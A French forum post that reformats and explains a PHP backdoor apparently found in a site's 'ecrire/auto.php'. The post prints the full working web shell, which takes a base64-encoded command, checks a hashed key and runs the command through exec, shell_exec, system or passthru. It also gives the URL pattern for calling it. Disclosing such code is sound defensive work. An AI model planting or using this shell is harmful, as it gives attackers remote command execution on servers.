Je me permets de remettre le code de manière plus lisible:
<?php
if (isset($_GET['k'], $_GET['c'])) {
$k = @base64_decode($_GET['k']);
$c = @base64_decode($_GET['c']);
if ($k !== FALSE && $c !== FALSE) {
echo '#!#';
$j = array('o' => array(), 'c' => 0);
$d = array();
$a = @ini_get('disable_functions');
if ($a)
$d = explode(',', $a);
else {
$d = array();
}
if (@md5($k) === 'e75acb27171300d9b9470c44ec4c1fc6') {
function t($t)
{
return @trim($t, " \n\r\t");
}
function e($e)
{
global $j;
$j['o'] = array('EXEC_ERROR');
$j['c'] = $e;
}
if (@function_exists('exec') && @in_array('exec', $d) == FALSE) {
$b = @exec($c, $j['o'], $j['c']);
if (!$b)
e(110);
} elseif (@function_exists('shell_exec') && @in_array('shell_exec', $d) == FALSE) {
$b = @shell_exec($c);
if ($b === FALSE || $b === NULL)
e(111);
else {
$j['o'] = @explode("\n", t($b));
}
} else {
$x = true;
@ob_start();
if (@function_exists('system') && @in_array('system', $d) == FALSE) {
$b = @system($c, $j['c']);
if ($b === FALSE) {
e(112);
$x = false;
}
} elseif (@function_exists('passthru') && @in_array('passthru', $d) == FALSE) {
$b = @passthru($c, $j['c']);
if ($b === FALSE || $b !== NULL) {
e(113);
$x = false;
}
} else {
$x = false;
$j['o'] = array('NO_EXEC');
$j['c'] = 101;
}
if ($x)
$j['o'] = @explode("\n", t(@ob_get_contents()));
@ob_end_clean();
}
} else {
$j['o'] = array('AUTH_ERROR');
$j['c'] = 100;
}
$f = array();
foreach ($j['o'] as $l) {
$f[] = @base64_encode($l);
}
$j['o'] = $f;
if (@function_exists('json_encode'))
echo @json_encode($j);
else {
echo '{"o":["' . @implode($f, '","') . '"],"c":' . $j['c'] . '}';
}
echo '#$#';
}
}
En gros (j’ai pas regardé en détail ni testé, juste lu) avec ce fichier il suffit d’appeler ecrire/auto.php?k=e75acb27171300d9b9470c44ec4c1fc6&c=<commande linux de votre choix encodée en base 64>
pour exécuter un programme sur le serveur.
La commande peut être du genre rm -rf
, mysql xxxx
ou bien même n’importe quel script que l’attaquant a pu déposer au préalable.
A noter que l’attaquant essaie d’utiliser plusieurs méthodes, en passant par exec
, shell_exec
, system
& Cie…
Bref, c’est une backdoor